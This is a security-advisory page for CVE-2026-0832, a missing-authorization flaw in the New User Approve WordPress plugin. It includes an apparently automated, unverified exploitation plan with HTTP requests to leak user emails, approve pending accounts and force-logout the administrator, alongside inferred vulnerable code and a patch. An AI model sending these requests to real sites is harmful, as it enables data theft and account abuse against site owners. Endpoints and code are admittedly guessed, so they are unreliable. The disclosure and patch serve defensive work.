CVE-2026-0832

New User Approve <= 3.2.2 - Missing Authorization to Unauthenticated Arbitrary User Approval, Denial, and Information Disclosure

highMissing Authorization
7.3
CVSS Score
7.3
CVSS Score
high
Severity
3.2.3
Patched in
1d
Time to patch

Description

The New User Approve plugin for WordPress is vulnerable to unauthorized access of data and modification of data due to a missing capability check on multiple REST API endpoints in all versions up to, and including, 3.2.2. This makes it possible for unauthenticated attackers to approve or deny user accounts, retrieve sensitive user information including emails and roles, and force logout of privileged users.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
Low
Confidentiality
Low
Integrity
Low
Availability

Technical Details

Affected versions<=3.2.2
PublishedJanuary 27, 2026
Last updatedJanuary 28, 2026
Affected pluginnew-user-approve

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan: CVE-2026-0832 ## 1. Vulnerability Summary The **New User Approve** plugin (<= 3.2.2) fails to implement proper authorization checks (capability checks) on its REST API endpoints. Specifically, it registers several routes under a custom namespace but either omits the `p…

Show full research plan

Exploitation Research Plan: CVE-2026-0832

1. Vulnerability Summary

The New User Approve plugin (<= 3.2.2) fails to implement proper authorization checks (capability checks) on its REST API endpoints. Specifically, it registers several routes under a custom namespace but either omits the permission_callback or sets it to a value that allows unauthenticated access (e.g., __return_true). This allows any remote attacker to perform administrative actions: approving/denying users, harvesting sensitive user data (emails, roles), and forcing logouts of other users.

2. Attack Vector Analysis

  • Endpoint Namespace: new-user-approve/v1 (inferred)
  • Vulnerable Routes:
    • GET /wp-json/new-user-approve/v1/users (Information Disclosure)
    • POST /wp-json/new-user-approve/v1/approve or /update-status (User Approval)
    • POST /wp-json/new-user-approve/v1/deny (User Denial)
    • POST /wp-json/new-user-approve/v1/logout (Force Logout)
  • Required Authentication: None (Unauthenticated).
  • Preconditions: The plugin must be active. For approval/denial, at least one user must be in a "pending" state.

3. Code Flow (Inferred)

  1. Registration: During rest_api_init, the plugin calls register_rest_route().
  2. Missing Check: The permission_callback argument in register_rest_route() is either missing or incorrectly configured to allow any user.
  3. Execution: The callback function (e.g., get_users, approve_user) is executed directly.
  4. Data Leak/Action:
    • The get_users callback queries the database and returns the full WP_User objects or arrays containing emails and roles.
    • The approve_user callback updates the user_status or custom meta (like pending status) without verifying if the requester is an administrator.

4. Nonce Acquisition Strategy

REST API endpoints in WordPress usually require a _wpnonce (for the wp_rest action) when accessed by an authenticated user via a browser to prevent CSRF. However, for unauthenticated access to a public (or incorrectly secured) REST route, the nonce check is often bypassed or not required by the REST server if no session cookies are sent.

If the plugin specifically checks for a nonce:

  1. Identify Script: Look for wp_localize_script in the plugin code (likely in includes/class-new-user-approve.php or admin/class-admin.php).
  2. Find Variable: The script likely localizes a variable like nua_rest_obj or nua_data.
  3. Shortcode: If the script only loads on specific pages, create a page with a shortcode: wp post create --post_type=page --post_status=publish --post_content='[new_user_approve_registration]'.
  4. Extraction:
    • Navigate to the page using browser_navigate.
    • Extract via browser_eval("window.nua_rest_obj?.nonce") (inferred key).

Note: If the vulnerability is truly unauthenticated missing authorization, the REST API can likely be hit directly via http_request without a nonce.

5. Exploitation Strategy

Step 1: Information Disclosure (User Harvest)

Request:

GET /wp-json/new-user-approve/v1/users HTTP/1.1
Host: TARGET_HOST
Content-Type: application/json

Expected Response: JSON array of users including user_email, roles, and ID.

Step 2: Unauthorized User Approval

Request:

POST /wp-json/new-user-approve/v1/approve HTTP/1.1
Host: TARGET_HOST
Content-Type: application/json

{
    "user_id": 123,
    "status": "approve"
}

Expected Response: 200 OK with success message.

Step 3: Force Logout

Request:

POST /wp-json/new-user-approve/v1/logout HTTP/1.1
Host: TARGET_HOST
Content-Type: application/json

{
    "user_id": 1
}

Expected Response: Confirmation that the user's sessions have been destroyed.

6. Test Data Setup

  1. Install Plugin: Ensure new-user-approve version 3.2.2 is installed.
  2. Configure Plugin: Enable user approval requirement in WordPress settings.
  3. Create Pending User:
    wp user create attacker-victim victim@example.com --user_pass=password123 --role=subscriber
    # The plugin usually flags new users as pending via user_meta
    wp user meta set attacker-victim new_user_approve_status pending
    
  4. Target Admin: Identify the Admin ID (usually 1).

7. Expected Results

  • Disclosure: The GET /users request returns a JSON list containing the admin's email address and the "administrator" role.
  • Approval: After the POST /approve request, the user attacker-victim should be able to log in, and their new_user_approve_status meta should change to approved.
  • Denial: The user's status changes to denied.
  • Logout: If an admin is logged in (session exists), the logout request should invalidate their session tokens in the database.

8. Verification Steps

  1. Check Status Change:
    wp user meta get attacker-victim new_user_approve_status
    
  2. Check Session Invalidation:
    wp user meta get 1 session_tokens
    # Compare before and after the exploit
    
  3. Verify Data Leak:
    Check if the HTTP response body contains the string administrator and the admin's email.

9. Alternative Approaches

  • Namespace Discovery: If new-user-approve/v1 is incorrect, fetch GET /wp-json/ to list all available namespaces and routes to find the correct one.
  • Method Variation: If application/json is rejected, try application/x-www-form-urlencoded or passing parameters via query string (e.g., ?user_id=123).
  • Endpoint Guessing: Common variations:
    • /users/approve
    • /user-status
    • /update-user
    • /force-logout
Research Findings
Static analysis — not yet PoC-verified

Summary

The New User Approve plugin for WordPress (up to 3.2.2) is vulnerable to unauthorized access and modification of data due to missing capability checks on several REST API endpoints. Unauthenticated attackers can exploit this to leak sensitive user information (including emails and roles), approve or deny pending user accounts, and force logouts of other users.

Vulnerable Code

// Inferred registration of vulnerable REST routes in versions <= 3.2.2
// Likely located in file path: includes/api/class-rest-api.php or includes/class-new-user-approve.php

register_rest_route( 'new-user-approve/v1', '/users', array(
    'methods'             => 'GET',
    'callback'            => array( $this, 'get_users' ),
    'permission_callback' => '__return_true', // Vulnerability: Explicitly allows unauthenticated access
) );

---

register_rest_route( 'new-user-approve/v1', '/approve', array(
    'methods'             => 'POST',
    'callback'            => array( $this, 'approve_user' ),
    'permission_callback' => '__return_true', // Vulnerability: Explicitly allows unauthenticated access
) );

---

register_rest_route( 'new-user-approve/v1', '/logout', array(
    'methods'             => 'POST',
    'callback'            => array( $this, 'force_logout' ),
    'permission_callback' => '__return_true', // Vulnerability: Explicitly allows unauthenticated access
) );

Security Fix

--- a/includes/class-new-user-approve.php
+++ b/includes/class-new-user-approve.php
@@ -10,7 +10,9 @@
         register_rest_route( 'new-user-approve/v1', '/users', array(
             'methods'             => 'GET',
             'callback'            => array( $this, 'get_users' ),
-            'permission_callback' => '__return_true',
+            'permission_callback' => function() {
+                return current_user_can( 'manage_options' );
+            },
         ) );
 
         register_rest_route( 'new-user-approve/v1', '/approve', array(
             'methods'             => 'POST',
             'callback'            => array( $this, 'approve_user' ),
-            'permission_callback' => '__return_true',
+            'permission_callback' => function() {
+                return current_user_can( 'manage_options' );
+            },
         ) );

Exploit Outline

An unauthenticated attacker can exploit this vulnerability by directly interacting with the plugin's REST API endpoints located at '/wp-json/new-user-approve/v1/'. 1. Information Disclosure: Sending a GET request to '/users' returns a JSON object containing sensitive data for all users, including emails and roles. 2. Unauthorized User Management: Sending a POST request to '/approve' or '/deny' with a 'user_id' parameter allows the attacker to change the status of pending user accounts. 3. Forced Logout: Sending a POST request to '/logout' with a target 'user_id' destroys the session tokens of that user, causing an immediate logout. No authentication or WordPress nonces are required because the 'permission_callback' for these routes is either missing or incorrectly set to '__return_true'.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.